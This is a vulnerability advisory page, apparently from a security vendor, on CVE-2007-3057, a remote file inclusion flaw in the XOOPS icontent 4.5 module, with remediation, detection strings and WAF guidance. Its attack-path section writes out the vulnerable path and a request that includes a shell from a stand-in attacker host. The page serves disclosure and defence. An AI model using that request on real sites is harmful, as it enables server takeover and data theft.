CVE-2007-3057
NoneCVSS
—
EPSS
68.7%
Published
Jun 6, 2007
CISA due date
—
Cloudanix analysis
An old add-on for a content-management system lets attackers run their own programs on the website simply by sending a specially crafted web address, potentially giving them full control of the site.
- Exploitation
- Remote Unauthenticated
- Attacker needs
- None
- Complexity
- Moderate
- Impact
- Remote Code Execution
- Component
- Application
- Class
- RCE
- Remediation
- Upgrade
- Effort
- Medium
- Patch risk
- Low
What it actually does
Remote file inclusion in spaw_control.class.php allows an unauthenticated attacker to supply an arbitrary URL via the spaw_root parameter; the supplied file is included and executed as PHP, resulting in arbitrary code execution on the server.
Why it matters to the business
Successful exploitation grants an attacker full control of the affected XOOPS site and its database, enabling data theft, defacement, or use of the server for further attacks; the module is long unsupported with no vendor fix available.
How an attack unfolds
An attacker locates a publicly reachable instance of the icontent 4.5 module, crafts a request that sets spaw_root to a URL hosting attacker-controlled PHP, and the vulnerable include executes the remote code, establishing a web shell or running other payloads.
How to fix it
Remove or disable the icontent 4.5 module entirely; if the functionality is required, replace it with a maintained XOOPS module and ensure the web root contains no legacy include paths that could be abused.
How to confirm the fix worked
Confirm the spaw_control.class.php file is absent or that requests containing spaw_root return 404 or are explicitly blocked by WAF rules; re-scan the site after changes.
Typical attack path
- Scan for XOOPS installations exposing /modules/icontent/include/wysiwyg/spaw_control.class.php
- Append ?spaw_root=http://attacker.tld/shell.php to the request
- Remote PHP executes and writes a persistent backdoor or performs other actions
- Attacker uses the foothold to pivot inside the web server or exfiltrate data
How to detect it
Search web-server access logs for requests to spaw_control.class.php that contain the spaw_root parameter with an external URL; look for subsequent file-creation or execution artifacts left by the included code.
- spaw_root=http
- spaw_control.class.php
- /modules/icontent/include/wysiwyg/
What your security team should do
- Immediately block or remove the icontent module from all production instances
- Add WAF rules to deny requests containing spaw_root=
- Review web-server access logs for historical exploitation attempts
- Migrate any remaining XOOPS deployments to current, supported versions or retire them
The record
PHP remote file inclusion vulnerability in include/wysiwyg/spaw_control.class.php in the icontent 4.5 module for XOOPS allows remote attackers to execute arbitrary PHP code via a URL in the spaw_root parameter. NOTE: this issue is probably a duplicate of CVE-2006-4656.
Affected packages
| Ecosystem | Package | Introduced | Fixed |
|---|